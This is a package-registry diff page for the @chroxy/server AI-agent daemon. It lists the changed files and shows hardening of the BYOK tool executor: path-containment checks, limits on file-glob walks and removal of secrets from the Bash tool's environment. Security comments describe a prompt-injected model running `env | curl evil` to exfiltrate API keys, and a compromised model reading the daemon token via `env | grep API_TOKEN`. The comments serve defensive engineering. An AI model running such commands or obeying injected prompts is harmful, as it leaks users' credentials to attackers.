@chroxy/server 0.10.0 → 0.11.10

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (326) hide show
  1. package/CONFIG.md +602 -19
  2. package/README.md +2 -2
  3. package/hooks/claude-native-route-check.mjs +17 -0
  4. package/hooks/permission-hook.sh +416 -11
  5. package/package.json +20 -23
  6. package/sidecar/Dockerfile +1 -1
  7. package/sidecar/PROTOCOL.md +9 -1
  8. package/sidecar/agent.js +102 -10
  9. package/sidecar/package-lock.json +3 -3
  10. package/src/acp-config.js +206 -0
  11. package/src/acp-session.js +954 -0
  12. package/src/activity-registry.js +110 -5
  13. package/src/agent-connections.js +293 -0
  14. package/src/agent-control/client.js +1616 -0
  15. package/src/agent-control/events.js +547 -0
  16. package/src/agent-control/local-connection.js +275 -0
  17. package/src/agent-control/mcp-server.js +545 -0
  18. package/src/anthropic-compatible-config.js +29 -4
  19. package/src/anthropic-compatible-session.js +15 -6
  20. package/src/anthropic-openai-shim.js +0 -1
  21. package/src/archive-continuation.js +164 -0
  22. package/src/assistant-response.js +24 -0
  23. package/src/auth-probes.js +120 -13
  24. package/src/background-shell-tracker.js +27 -0
  25. package/src/base-session.js +1353 -41
  26. package/src/bearer-recheck.js +49 -0
  27. package/src/billing-budget.js +24 -1
  28. package/src/billing-class.js +40 -7
  29. package/src/binary-provenance-trust.js +101 -0
  30. package/src/bound-client-policy.js +279 -0
  31. package/src/built-in-tools/bash-exec.js +46 -7
  32. package/src/built-in-tools/file-ops.js +74 -9
  33. package/src/built-in-tools/tool-transforms.js +1113 -13
  34. package/src/byok-compose-state.js +6 -9
  35. package/src/byok-credentials.js +2 -3
  36. package/src/byok-mcp-client.js +1153 -20
  37. package/src/byok-mcp-config.js +1712 -8
  38. package/src/byok-mcp-fleet.js +416 -29
  39. package/src/byok-mcp-oauth-store.js +329 -0
  40. package/src/byok-mcp-oauth.js +635 -0
  41. package/src/byok-mcp-trust.js +257 -40
  42. package/src/byok-session.js +1400 -149
  43. package/src/byok-tool-executor.js +2681 -38
  44. package/src/byok-tools.js +9 -2
  45. package/src/channels/chroxy-channel-server.js +2 -3
  46. package/src/checkpoint-manager.js +96 -51
  47. package/src/chroxy-host-metadata.js +122 -0
  48. package/src/claude-channel-session.js +16 -10
  49. package/src/claude-model-catalog.js +131 -16
  50. package/src/claude-model-refresh.js +385 -0
  51. package/src/claude-model-request.js +103 -0
  52. package/src/claude-stream-parser.js +109 -3
  53. package/src/claude-tui/diagnostic-tail.js +83 -0
  54. package/src/claude-tui/form-driver.js +44 -7
  55. package/src/claude-tui/model-error.js +41 -0
  56. package/src/claude-tui/pty-driver.js +223 -60
  57. package/src/claude-tui/sanitize-question-payload.js +109 -0
  58. package/src/claude-tui/usage-limit.js +239 -0
  59. package/src/claude-tui-session.js +3611 -286
  60. package/src/claude-tui-tool-response.js +300 -0
  61. package/src/cli/agent-control-cmd.js +65 -0
  62. package/src/cli/config-cmd.js +6 -6
  63. package/src/cli/config-dir-cmd.js +234 -0
  64. package/src/cli/deploy-cmd.js +46 -11
  65. package/src/cli/doctor-cmd.js +7 -3
  66. package/src/cli/init-cmd.js +16 -17
  67. package/src/cli/providers-cmd.js +6 -6
  68. package/src/cli/schedule-cmd.js +804 -0
  69. package/src/cli/server-cmd.js +64 -2
  70. package/src/cli/service-cmd.js +70 -27
  71. package/src/cli/session-cmd.js +227 -74
  72. package/src/cli/shared.js +168 -14
  73. package/src/cli/tokens-cmd.js +212 -0
  74. package/src/cli/tunnel-cmd.js +256 -25
  75. package/src/cli/worktree-gc-cmd.js +2 -2
  76. package/src/cli-session.js +1117 -116
  77. package/src/cli.js +8 -0
  78. package/src/codex-app-server-client.js +36 -3
  79. package/src/codex-app-server-session.js +2108 -101
  80. package/src/codex-bundled-client.js +66 -0
  81. package/src/codex-model-catalog.js +548 -0
  82. package/src/codex-model-rejections.js +87 -0
  83. package/src/codex-native-resume.js +104 -0
  84. package/src/codex-protocol-capabilities.js +188 -0
  85. package/src/codex-session.js +571 -45
  86. package/src/config-dir-migration.js +444 -0
  87. package/src/config-dir.js +108 -0
  88. package/src/config.js +738 -52
  89. package/src/connection-authority.js +48 -0
  90. package/src/connection-info.js +5 -9
  91. package/src/connection-locality.js +60 -0
  92. package/src/container-liveness-monitor.js +189 -0
  93. package/src/continuation-metadata-worker.js +17 -0
  94. package/src/continuations.js +114 -0
  95. package/src/control-room/host-prune.js +5 -0
  96. package/src/control-room/integrations.js +23 -30
  97. package/src/control-room/skills-inventory.js +8 -3
  98. package/src/control-room/survey.js +32 -0
  99. package/src/conversation-scanner.js +40 -18
  100. package/src/conversation-scope.js +59 -39
  101. package/src/conversation-search.js +24 -22
  102. package/src/credential-store.js +279 -29
  103. package/src/daemon-commit.js +92 -0
  104. package/src/daemon-idle-state.js +171 -0
  105. package/src/daemon-update-status.js +314 -0
  106. package/src/dashboard-build.js +70 -0
  107. package/src/declared-status.js +90 -0
  108. package/src/deepseek-credentials.js +2 -3
  109. package/src/dev-preview.js +169 -182
  110. package/src/device-preferences.js +2 -2
  111. package/src/diagnostics.js +3 -0
  112. package/src/diff-parser.js +87 -0
  113. package/src/discord-credentials.js +2 -3
  114. package/src/docker-byok-pool.js +3 -1
  115. package/src/docker-byok-session.js +678 -78
  116. package/src/docker-image-allowlist.js +23 -1
  117. package/src/docker-sdk-session.js +188 -4
  118. package/src/docker-session.js +293 -10
  119. package/src/doctor.js +783 -66
  120. package/src/edited-input.js +264 -0
  121. package/src/environment-manager.js +175 -36
  122. package/src/environments/authority.js +95 -0
  123. package/src/environments/backends/container-claude-spawn.js +94 -0
  124. package/src/environments/backends/docker.js +39 -10
  125. package/src/environments/backends/k8s.js +58 -24
  126. package/src/environments/destroy-with-sessions.js +142 -0
  127. package/src/event-ingest.js +137 -14
  128. package/src/event-normalizer.js +363 -110
  129. package/src/external-session-registry.js +0 -0
  130. package/src/gemini-session.js +100 -7
  131. package/src/github-webhook.js +188 -4
  132. package/src/handler-utils.js +563 -62
  133. package/src/handlers/checkpoint-handlers.js +162 -20
  134. package/src/handlers/control-room-handlers.js +99 -29
  135. package/src/handlers/conversation-handlers.js +563 -25
  136. package/src/handlers/credential-handlers.js +43 -2
  137. package/src/handlers/daemon-update-handlers.js +81 -0
  138. package/src/handlers/evaluator-handlers.js +14 -1
  139. package/src/handlers/feature-handlers.js +186 -69
  140. package/src/handlers/file-handlers.js +101 -13
  141. package/src/handlers/github-webhook-handlers.js +204 -0
  142. package/src/handlers/input-handlers.js +689 -48
  143. package/src/handlers/orchestration-handlers.js +238 -0
  144. package/src/handlers/scheduler-handlers.js +584 -0
  145. package/src/handlers/session-handlers.js +546 -16
  146. package/src/handlers/session-pr-status-handlers.js +283 -0
  147. package/src/handlers/session-pr-threads-handlers.js +247 -0
  148. package/src/handlers/settings-handlers.js +822 -35
  149. package/src/handlers/skills-handlers.js +13 -4
  150. package/src/handlers/summarize-handlers.js +32 -1
  151. package/src/handlers/survey-throttle.js +380 -0
  152. package/src/handlers/token-handlers.js +11 -2
  153. package/src/health-proof.js +40 -0
  154. package/src/history-page.js +104 -0
  155. package/src/http-routes.js +286 -8
  156. package/src/ide/search.js +24 -6
  157. package/src/ide/symbols.js +20 -6
  158. package/src/input-context.js +117 -0
  159. package/src/instruction-policy-compiler.js +229 -0
  160. package/src/instruction-policy.js +250 -0
  161. package/src/jsonl-reader.js +309 -48
  162. package/src/jsonl-subprocess-session.js +122 -9
  163. package/src/keychain.js +160 -13
  164. package/src/logger.js +240 -31
  165. package/src/mailbox-route.js +11 -22
  166. package/src/message-wire.js +386 -0
  167. package/src/model-discovery.js +43 -3
  168. package/src/models.js +1276 -174
  169. package/src/notification-prefs.js +100 -10
  170. package/src/notifications/discord-billing-sink.js +22 -5
  171. package/src/notifications/discord-ci-sink.js +243 -0
  172. package/src/notifications/discord-webhook-client.js +71 -0
  173. package/src/notifications/discord-webhook-sink.js +82 -12
  174. package/src/notifications/expo-push-sink.js +85 -6
  175. package/src/notifications/ready-body.js +16 -5
  176. package/src/ollama-session.js +34 -2
  177. package/src/orchestration/build-manager.js +63 -0
  178. package/src/orchestration/decision-contract.js +245 -0
  179. package/src/orchestration/git-ops.js +381 -0
  180. package/src/orchestration/orchestration-manager.js +1342 -0
  181. package/src/orchestration/permission-gate.js +121 -0
  182. package/src/orchestration/role-prompts.js +136 -0
  183. package/src/orchestration/run-budget.js +81 -0
  184. package/src/orchestration/run-ledger.js +487 -0
  185. package/src/orchestration/run-model.js +206 -0
  186. package/src/orchestration/run-record.js +336 -0
  187. package/src/orchestration/run-report.js +194 -0
  188. package/src/orchestration/to-wire.js +201 -0
  189. package/src/orchestration/turn-driver.js +422 -0
  190. package/src/orphan-reaper.js +413 -0
  191. package/src/outgoing-policy.js +183 -0
  192. package/src/pairing.js +236 -12
  193. package/src/path-hash-trust-ledger.js +642 -25
  194. package/src/permission-audit.js +79 -3
  195. package/src/permission-deadlines.js +82 -0
  196. package/src/permission-floor.js +1770 -0
  197. package/src/permission-hook.js +180 -69
  198. package/src/permission-manager.js +1175 -94
  199. package/src/permission-mode-support.js +35 -0
  200. package/src/permission-resolver.js +174 -12
  201. package/src/permission-rule-store.js +411 -0
  202. package/src/permission-scope.js +43 -0
  203. package/src/platform.js +483 -23
  204. package/src/preview-ingress.js +54 -0
  205. package/src/preview-target.js +213 -0
  206. package/src/prompt-evaluator.js +34 -4
  207. package/src/provider-customization.js +180 -0
  208. package/src/providers.js +228 -6
  209. package/src/push.js +30 -4
  210. package/src/question-route-map.js +130 -0
  211. package/src/redaction.js +360 -8
  212. package/src/roster-broadcast.js +186 -0
  213. package/src/schedule-parser.js +311 -0
  214. package/src/scheduled-task-store.js +945 -0
  215. package/src/scheduler.js +1099 -0
  216. package/src/sdk-session.js +2374 -168
  217. package/src/server-cli/preview-shutdown.js +22 -0
  218. package/src/server-cli/push-notification-handler.js +11 -2
  219. package/src/server-cli/server-orchestrator.js +50 -4
  220. package/src/server-cli/tunnel-lifecycle-handler.js +3 -2
  221. package/src/server-cli-child.js +33 -18
  222. package/src/server-cli.js +760 -62
  223. package/src/server-identity.js +42 -14
  224. package/src/service.js +682 -53
  225. package/src/session-archive-limits.js +15 -0
  226. package/src/session-archive.js +1029 -0
  227. package/src/session-busy-state.js +72 -0
  228. package/src/session-ci-watcher.js +926 -0
  229. package/src/session-context.js +7 -2
  230. package/src/session-manager.js +3879 -308
  231. package/src/session-message-history.js +749 -37
  232. package/src/session-pr-status.js +654 -0
  233. package/src/session-pr-threads.js +271 -0
  234. package/src/session-preset-trust.js +3 -3
  235. package/src/session-preset.js +10 -5
  236. package/src/session-state-persistence.js +94 -17
  237. package/src/session-timeout-manager.js +20 -0
  238. package/src/session-title.js +168 -0
  239. package/src/session-token-store.js +70 -36
  240. package/src/session-wake.js +240 -0
  241. package/src/shell-approval-info.js +2 -2
  242. package/src/shell-approval-store.js +3 -1
  243. package/src/skills-loader.js +7 -4
  244. package/src/skills-manager.js +2 -2
  245. package/src/skills-trust.js +95 -13
  246. package/src/skills-usage.js +22 -5
  247. package/src/snapshots-store.js +2 -3
  248. package/src/statusline.js +596 -0
  249. package/src/subagent-counter.js +9 -1
  250. package/src/summarize-session.js +51 -4
  251. package/src/supervisor.js +99 -38
  252. package/src/sweep-stale-provider-dirs.js +95 -0
  253. package/src/thinking-level-wire.js +39 -0
  254. package/src/thinking-stream.js +179 -0
  255. package/src/token-manager.js +39 -9
  256. package/src/tool-result.js +61 -0
  257. package/src/transcript-sources.js +109 -0
  258. package/src/transcript-tasks.js +413 -31
  259. package/src/trusted-file-read.js +302 -0
  260. package/src/tunnel/base.js +0 -8
  261. package/src/tunnel/cloudflare.js +145 -35
  262. package/src/tunnel/index.js +13 -1
  263. package/src/tunnel/preview.js +64 -0
  264. package/src/tunnel-check.js +1 -1
  265. package/src/turn-outcome.js +137 -0
  266. package/src/turn-tracker.js +0 -0
  267. package/src/usage-normalize.js +122 -0
  268. package/src/user-shell-session.js +157 -37
  269. package/src/utils/agent-sdk-version.js +107 -0
  270. package/src/utils/argv-safety.js +741 -0
  271. package/src/utils/auth-cause.js +60 -0
  272. package/src/utils/binary-package-manifest.js +597 -0
  273. package/src/utils/binary-version.js +224 -0
  274. package/src/utils/bounded-regex-worker.js +25 -0
  275. package/src/utils/bounded-regex.js +153 -0
  276. package/src/utils/claude-binary.js +43 -0
  277. package/src/utils/claude-config-dir.js +245 -0
  278. package/src/utils/claude-login-command.js +16 -0
  279. package/src/utils/claude-native-route.js +81 -0
  280. package/src/utils/componentwise-resolver.js +301 -0
  281. package/src/utils/composite-key.js +45 -0
  282. package/src/utils/deploy-control-files.js +87 -0
  283. package/src/utils/exec-failure-reason.js +21 -0
  284. package/src/utils/git-repo.js +42 -0
  285. package/src/utils/is-entry-point.js +137 -0
  286. package/src/utils/iso-datetime.js +51 -0
  287. package/src/utils/node-pty-probe.js +95 -0
  288. package/src/utils/node-pty-support.js +118 -0
  289. package/src/utils/opened-file-path.js +167 -0
  290. package/src/utils/path-containment.js +165 -0
  291. package/src/utils/permission-mode-sidecar.js +51 -0
  292. package/src/utils/preflight.js +485 -29
  293. package/src/utils/read-limiter.js +217 -0
  294. package/src/utils/regular-file.js +375 -0
  295. package/src/utils/safe-regex.js +113 -0
  296. package/src/utils/small-file.js +129 -0
  297. package/src/utils/spawn-env.js +196 -5
  298. package/src/utils/stale-session-dirs.js +182 -0
  299. package/src/utils/stat-identity.js +43 -0
  300. package/src/utils/verify-binary.js +276 -0
  301. package/src/utils/verify-provenance.js +634 -0
  302. package/src/utils/wire-counters.js +48 -0
  303. package/src/web-task-manager.js +256 -16
  304. package/src/worktree-gc.js +11 -3
  305. package/src/ws-auth.js +69 -21
  306. package/src/ws-broadcaster.js +14 -2
  307. package/src/ws-client-manager.js +16 -1
  308. package/src/ws-client-sender.js +7 -0
  309. package/src/ws-file-ops/browser.js +370 -66
  310. package/src/ws-file-ops/common.js +384 -11
  311. package/src/ws-file-ops/git.js +615 -44
  312. package/src/ws-file-ops/index.js +7 -0
  313. package/src/ws-file-ops/memory.js +460 -0
  314. package/src/ws-file-ops/open-nofollow.js +354 -0
  315. package/src/ws-file-ops/reader.js +676 -94
  316. package/src/ws-forwarding.js +373 -55
  317. package/src/ws-handler-context.js +89 -2
  318. package/src/ws-history.js +1018 -177
  319. package/src/ws-message-handlers.js +23 -1
  320. package/src/ws-outbound-schemas.js +207 -0
  321. package/src/ws-permissions.js +589 -38
  322. package/src/ws-schemas.js +6 -0
  323. package/src/ws-server.js +936 -105
  324. package/src/dashboard-next/dist/assets/index-C2ipeGlq.js +0 -111
  325. package/src/dashboard-next/dist/assets/index-DM-_dISG.css +0 -1
  326. package/src/dashboard-next/dist/index.html +0 -13
@@ -9,26 +9,39 @@
9
9
  * the session is in `auto` mode which auto-approves). We don't do
10
10
  * permission gating in here; this module is execution only.
11
11
  *
12
- * Path safety is enforced for file tools by validatePathWithinCwd from
13
- * ws-file-ops/common.js — every file_path is realpath-ed and confirmed
14
- * to be inside the session cwd before any read/write happens. Symlink
15
- * escapes are blocked by the realpath-of-deepest-ancestor pattern there
16
- * (see common.js + the 2026-04-11 production-readiness audit).
12
+ * Path safety is enforced for file tools by validateRawPathWithinCwd from
13
+ * ws-file-ops/common.js — every file_path is resolved COMPONENT BY COMPONENT
14
+ * (open(2)-faithfully) and confirmed to be inside the session cwd before any
15
+ * read/write happens. Symlink escapes — including a `..` that follows a
16
+ * symlinked component (#6923) — are blocked by walking the RAW path rather than
17
+ * a pre-`resolve()`d one (see common.js + the 2026-04-11 production-readiness
18
+ * audit).
17
19
  */
18
20
 
19
- import { resolve, isAbsolute } from 'node:path'
21
+ import { join, resolve } from 'node:path'
22
+ import { opendir, lstat, realpath, readlink } from 'node:fs/promises'
23
+ import { constants as fsConstants } from 'node:fs'
20
24
  import { isIP } from 'node:net'
21
25
  import { lookup as dnsLookup } from 'node:dns/promises'
22
- import { validatePathWithinCwd } from './ws-file-ops/common.js'
26
+ import { validateRawPathWithinCwd, resolveSessionCwd } from './ws-file-ops/common.js'
27
+ import { isPathWithin } from './utils/path-containment.js'
28
+ import { openNoFollow } from './ws-file-ops/open-nofollow.js'
23
29
  import { executeBash, DEFAULT_BASH_TIMEOUT_MS } from './built-in-tools/bash-exec.js'
24
30
  import { readFileTool, writeFileTool, editFileTool } from './built-in-tools/file-ops.js'
25
31
  import {
26
32
  GLOB_PATTERN_SHELL_METACHARS,
27
- buildGlobCommand,
33
+ globPatternEscapeReason,
34
+ globPatternEscapeMessage,
35
+ globPatternComplexityReason,
36
+ globPatternComplexityMessage,
37
+ GLOB_PATTERN_MAX_BRACE_DEPTH,
28
38
  buildGrepArgs,
29
39
  buildGrepCommand,
40
+ splitGrepNotes,
41
+ formatWriteConfirmation,
30
42
  } from './built-in-tools/tool-transforms.js'
31
43
  import { TODO_STATUSES, BUILTIN_TOOL_NAMES } from './byok-tools.js'
44
+ import { CHROXY_SECRET_DENYLIST, stripInheritedChroxySecrets, stripParentClaudeSessionEnv } from './utils/spawn-env.js'
32
45
  // #4186: SSRF block-list lives in its own module so the (ip, expected)
33
46
  // table can grow without bloating this file's WebFetch integration tests.
34
47
  // The exported helpers retain the same names as the original locals so
@@ -43,12 +56,173 @@ import { isPrivateOrSpecialIp } from './ssrf-guard.js'
43
56
  */
44
57
  const BASH_TIMEOUT_CEILING_MS = 600_000
45
58
 
59
+ /**
60
+ * Two bounds, because they do different jobs.
61
+ *
62
+ * `GLOB_COLLECT_CEILING` is the memory backstop on the walk. `GLOB_MAX_MATCHES`
63
+ * is how many paths the model is shown. Collecting more than we return is what
64
+ * makes truncation a SORTED PREFIX rather than an arbitrary subset — and that
65
+ * distinction was a real defect, not a nicety: with a single 10 000 cap on an
66
+ * unsorted traversal, `Glob **\/*.ts` over a 20 000-file tree returned 10 000
67
+ * paths, `isError: false`, no marker, and `d00`–`d09` — half the tree, the
68
+ * alphabetically-first half — simply absent. A model would conclude those
69
+ * directories contain no TypeScript.
70
+ */
71
+ const GLOB_COLLECT_CEILING = 50_000
72
+ const GLOB_MAX_MATCHES = 10_000
73
+
74
+ /**
75
+ * #7901 — a second, independent bound on the self-implemented walk, distinct
76
+ * from `GLOB_COLLECT_CEILING` (which bounds MATCHES) and from the wall-clock
77
+ * deadline below (the primary defense — see `walkGlob`'s doc). This bounds
78
+ * total filesystem ENTRIES visited regardless of how many matched, closing
79
+ * the gap where a pattern matches almost nothing across an enormous tree (the
80
+ * exact shape #7356 measured: 200,000 files, near-zero matches) — the collect
81
+ * ceiling never engages there, and on a fast disk the walk could visit many
82
+ * millions of entries before the 30s deadline fires. 2,000,000 is far above
83
+ * any tree this test suite or a real workspace plausibly has (the largest
84
+ * fixture in this file is 15,000 files); it exists as a backstop, not the
85
+ * primary bound.
86
+ *
87
+ * Read per call and overridable via `CHROXY_GLOB_MAX_ENTRIES`, the same shape
88
+ * as `globTimeoutMs`/`CHROXY_GLOB_TIMEOUT_MS` just below — for the same
89
+ * reason: a guard nothing can lower to a testable size is a guard nobody
90
+ * proved fires (docs/false-safety-guards.md). An empty or unparseable value
91
+ * falls back to the 2,000,000 default rather than disabling the bound.
92
+ */
93
+ const GLOB_MAX_ENTRIES_VISITED_DEFAULT = 2_000_000
94
+ function globMaxEntriesVisited() {
95
+ const raw = (process.env.CHROXY_GLOB_MAX_ENTRIES || '').trim()
96
+ if (!/^\d+$/.test(raw)) return GLOB_MAX_ENTRIES_VISITED_DEFAULT
97
+ const n = Number(raw)
98
+ return n > 0 ? n : GLOB_MAX_ENTRIES_VISITED_DEFAULT
99
+ }
100
+
101
+ /**
102
+ * Wall-clock bound on a Glob walk. Matches the 30s `executeBash` timeout the
103
+ * shell implementation had — dropping the subprocess dropped its kill, and
104
+ * `fs.glob` honours no AbortSignal of its own.
105
+ *
106
+ * Read per call, not at module load, and overridable via
107
+ * `CHROXY_GLOB_TIMEOUT_MS`. That knob is what lets the timeout be PROVEN: a
108
+ * test asserting a 30s bound by waiting 30s does not get written, and a test
109
+ * that only checks the happy path is a guard whose success and whose absence
110
+ * look identical (docs/false-safety-guards.md). A very large monorepo wanting
111
+ * a longer budget is the secondary use.
112
+ */
113
+ const GLOB_TIMEOUT_DEFAULT_MS = 30_000
114
+ function globTimeoutMs() {
115
+ // Trim and require a NON-EMPTY, strictly positive integer, matching every
116
+ // other env-timeout parser in this package (config.js, prompt-evaluator.js,
117
+ // claude-tui-session.js). The first cut used `Number(raw) >= 0`, and
118
+ // `Number('') === 0`: an exported-but-empty `CHROXY_GLOB_TIMEOUT_MS=` — what
119
+ // a bare `.env` line and `docker run -e VAR` both produce — gave every Glob
120
+ // call a 0 ms budget and disabled the tool outright, with nothing pointing at
121
+ // the cause. The knob exists to make the timeout testable; it must not be a
122
+ // way to switch Glob off by accident.
123
+ const raw = (process.env.CHROXY_GLOB_TIMEOUT_MS || '').trim()
124
+ if (!/^\d+$/.test(raw)) return GLOB_TIMEOUT_DEFAULT_MS
125
+ const n = Number(raw)
126
+ return n > 0 ? n : GLOB_TIMEOUT_DEFAULT_MS
127
+ }
128
+
129
+ /**
130
+ * #7356 — a cap on how many Glob walks run at once, DAEMON-WIDE.
131
+ *
132
+ * `byok-session.js` fans every approved tool block in one model turn through
133
+ * `Promise.all`, so one turn can start N walks, and the daemon shares a
134
+ * 4-thread libuv pool with every Read, permission-floor lstat walk and
135
+ * dashboard file op. Measured on #7356: 8 concurrent walks of the real
136
+ * checkout took RSS from 126 to 691 MB. Cancelling a walk at its deadline
137
+ * (`walkGlob`) bounds how long each one lives; this bounds how many live at
138
+ * once. Walks past the cap queue FIFO and are NOT lost: they start the moment
139
+ * a slot frees, and a Glob call's own deadline / abort covers its time in the
140
+ * queue too (a queued call that times out never starts a walk at all).
141
+ *
142
+ * Module-level on purpose: sessions are separate objects but the libuv pool
143
+ * and the heap are shared. Read per call and overridable via
144
+ * `CHROXY_GLOB_MAX_CONCURRENT`, same shape as the other Glob knobs, so the
145
+ * bound can be proven at a testable size. An empty or unparseable value falls
146
+ * back to the default rather than lifting the bound.
147
+ */
148
+ const GLOB_MAX_CONCURRENT_DEFAULT = 2
149
+ function globMaxConcurrent() {
150
+ const raw = (process.env.CHROXY_GLOB_MAX_CONCURRENT || '').trim()
151
+ if (!/^\d+$/.test(raw)) return GLOB_MAX_CONCURRENT_DEFAULT
152
+ const n = Number(raw)
153
+ return n > 0 ? n : GLOB_MAX_CONCURRENT_DEFAULT
154
+ }
155
+ const globWalkSlots = { active: 0, queue: [] }
156
+
157
+ function pumpGlobWalkSlots() {
158
+ while (globWalkSlots.queue.length > 0 && globWalkSlots.active < globWalkSlots.queue[0].limit) {
159
+ const waiter = globWalkSlots.queue.shift()
160
+ globWalkSlots.active++
161
+ waiter.resolve(makeGlobSlotRelease())
162
+ }
163
+ }
164
+
165
+ function makeGlobSlotRelease() {
166
+ let released = false
167
+ return () => {
168
+ if (released) return
169
+ released = true
170
+ globWalkSlots.active--
171
+ pumpGlobWalkSlots()
172
+ }
173
+ }
174
+
175
+ /**
176
+ * Take a walk slot. `granted` resolves to a `release()` function once a slot
177
+ * is free, or to `null` if `cancel()` removed this request from the queue
178
+ * first. `cancel()` is a no-op once the slot has been granted (the walk then
179
+ * observes `state.stop` itself and releases in its own `finally`).
180
+ */
181
+ function acquireGlobWalkSlot(limit) {
182
+ let waiter = null
183
+ const granted = new Promise((resolve) => {
184
+ if (globWalkSlots.active < limit) {
185
+ globWalkSlots.active++
186
+ resolve(makeGlobSlotRelease())
187
+ return
188
+ }
189
+ waiter = { limit, resolve }
190
+ globWalkSlots.queue.push(waiter)
191
+ })
192
+ return {
193
+ granted,
194
+ cancel() {
195
+ if (!waiter) return
196
+ const i = globWalkSlots.queue.indexOf(waiter)
197
+ if (i === -1) return
198
+ globWalkSlots.queue.splice(i, 1)
199
+ waiter.resolve(null)
200
+ },
201
+ }
202
+ }
203
+
204
+ /** Test/diagnostic view of the walk limiter: slots in use and requests queued. */
205
+ function globWalkSlotStats() {
206
+ return { active: globWalkSlots.active, queued: globWalkSlots.queue.length }
207
+ }
208
+
46
209
  /**
47
210
  * Env vars the model must NEVER see in a Bash subprocess. Centrally
48
211
  * the BYOK API key — if a malicious prompt induces the model to run
49
212
  * `env | curl evil`, the model exfiltrates the user's API credentials
50
- * (caught by /agent-review on PR #4060 — see #4069). Plus chroxy's
51
- * own per-session secrets that are scoped to the WS auth surface.
213
+ * (caught by /agent-review on PR #4060 — see #4069).
214
+ *
215
+ * This is the BYOK PROVIDER'S OWN credential denylist only — the model's own
216
+ * auth material. Chroxy's daemon-private secrets (the primary API_TOKEN, the
217
+ * ambiently-inherited CHROXY_PORT/CHROXY_HOOK_SECRET) are a SEPARATE class,
218
+ * stripped below via the shared `CHROXY_SECRET_DENYLIST` /
219
+ * `stripInheritedChroxySecrets()` primitives from `utils/spawn-env.js` — see
220
+ * #8113 (found during #7360/#8111's security review: this function used to
221
+ * strip only the two keys above, so `env | grep API_TOKEN` inside a BYOK
222
+ * session's own Bash tool call handed a compromised/malicious model the
223
+ * daemon's full-authority primary bearer token, plus whatever foreign
224
+ * session's CHROXY_PORT/CHROXY_HOOK_SECRET the daemon process itself
225
+ * happened to have ambiently inherited).
52
226
  *
53
227
  * Note: we do NOT redact every var that looks like a secret (e.g.
54
228
  * GITHUB_TOKEN, AWS_*). The user might legitimately need those in
@@ -63,13 +237,32 @@ const SECRET_ENV_DENYLIST = new Set([
63
237
  /**
64
238
  * Build an env for the Bash/Glob/Grep subprocess that strips chroxy's
65
239
  * own secrets. Returns a plain object — pass to executeBash's `env`.
240
+ *
241
+ * Three layers, in order:
242
+ * 1. `SECRET_ENV_DENYLIST` — the BYOK provider's own credential (#4069).
243
+ * 2. `CHROXY_SECRET_DENYLIST` — daemon-private secrets that must never
244
+ * reach ANY spawned child, regardless of provider or mode (#6311):
245
+ * the full-authority primary `API_TOKEN`, and `CHROXY_INGEST_SECRET`
246
+ * (the `/api/events` / `/api/mailbox` bearer — see
247
+ * docs/security/bearer-token-authority.md §6).
248
+ * 3. `stripInheritedChroxySecrets()` — an AMBIENTLY-inherited
249
+ * `CHROXY_PORT`/`CHROXY_HOOK_SECRET` (#7360's class). This BYOK Bash/Grep
250
+ * subprocess is not a hook-consuming child at all (BYOK sessions have no
251
+ * permission-hook HTTP callback — permissions are gated in-process), so
252
+ * there is no "this session's own value" to preserve here; any value
253
+ * present is necessarily a foreign session's secret.
254
+ *
255
+ * Exported so the strip is directly unit-testable without a real spawn.
66
256
  */
67
- function buildSafeBashEnv() {
257
+ export function buildSafeBashEnv() {
68
258
  const out = {}
69
259
  for (const [k, v] of Object.entries(process.env)) {
70
260
  if (SECRET_ENV_DENYLIST.has(k)) continue
261
+ if (CHROXY_SECRET_DENYLIST.includes(k)) continue
71
262
  out[k] = v
72
263
  }
264
+ stripInheritedChroxySecrets(out)
265
+ stripParentClaudeSessionEnv(out) // #8262
73
266
  return out
74
267
  }
75
268
 
@@ -140,9 +333,14 @@ async function safeResolve(filePath, cwd, cwdRealCache, cwdCacheTtl) {
140
333
  if (typeof filePath !== 'string' || filePath.length === 0) {
141
334
  throw Object.assign(new Error('file_path is required'), { code: 'EINVAL' })
142
335
  }
143
- const absolute = isAbsolute(filePath) ? filePath : resolve(cwd, filePath)
144
- const { valid, realPath, cwdReal } = await validatePathWithinCwd(
145
- absolute,
336
+ // #6923 — hand the RAW filePath (its `..` intact) to the component-wise walker.
337
+ // Do NOT pre-`resolve(cwd, filePath)`: `resolve()` collapses a `..` that follows
338
+ // a symlinked component LEXICALLY, so `link/../x` cancelled the symlink before it
339
+ // was followed and an escape via a symlink-out-of-workspace + `..` looked in
340
+ // bounds. validateRawPathWithinCwd walks the raw path open(2)-faithfully so the
341
+ // true (escaping) destination is seen and rejected.
342
+ const { valid, realPath, cwdReal } = await validateRawPathWithinCwd(
343
+ filePath,
146
344
  cwd,
147
345
  cwdRealCache,
148
346
  cwdCacheTtl,
@@ -178,7 +376,11 @@ async function runWrite({ input, cwd, cwdRealCache, cwdCacheTtl }) {
178
376
  })
179
377
  if (!result.ok) return { content: `${result.code}: ${result.message}`, isError: true }
180
378
  return {
181
- content: `Wrote ${result.bytesWritten} bytes to ${input.file_path}${result.created ? ' (created)' : ''}.`,
379
+ content: formatWriteConfirmation({
380
+ bytesWritten: result.bytesWritten,
381
+ filePath: input.file_path,
382
+ created: result.created,
383
+ }),
182
384
  isError: false,
183
385
  }
184
386
  }
@@ -253,28 +455,2404 @@ async function runGlob({ input, cwd, cwdRealCache, cwdCacheTtl, signal }) {
253
455
  isError: true,
254
456
  }
255
457
  }
458
+ // #7341 — the metachar denylist above closes shell INJECTION only; it says
459
+ // nothing about where the glob expands to. Containment is a separate rule.
460
+ const escapeReason = globPatternEscapeReason(pattern)
461
+ if (escapeReason) {
462
+ return { content: globPatternEscapeMessage(escapeReason), isError: true }
463
+ }
464
+ // #7898 round 4 — neither check above bounds `pattern`'s length or brace
465
+ // nesting, and every round of this PR's review has found a new way an
466
+ // unbounded pattern makes the segment matcher (parseSegmentTokens/
467
+ // segmentMatches, driving both compileCaseCheck's callers and walkGlob's
468
+ // own per-entry matching below) slow or crash. See the worst-case bound
469
+ // written above compileCaseCheck and globPatternComplexityReason's own doc
470
+ // for the specific measured failures this closes.
471
+ const complexityReason = globPatternComplexityReason(pattern)
472
+ if (complexityReason) {
473
+ return { content: globPatternComplexityMessage(complexityReason), isError: true }
474
+ }
256
475
 
257
476
  // Realpath-validate the search ROOT against cwd. Pre-fix this was a
258
477
  // weak "no ..." check that let absolute paths to /etc through.
259
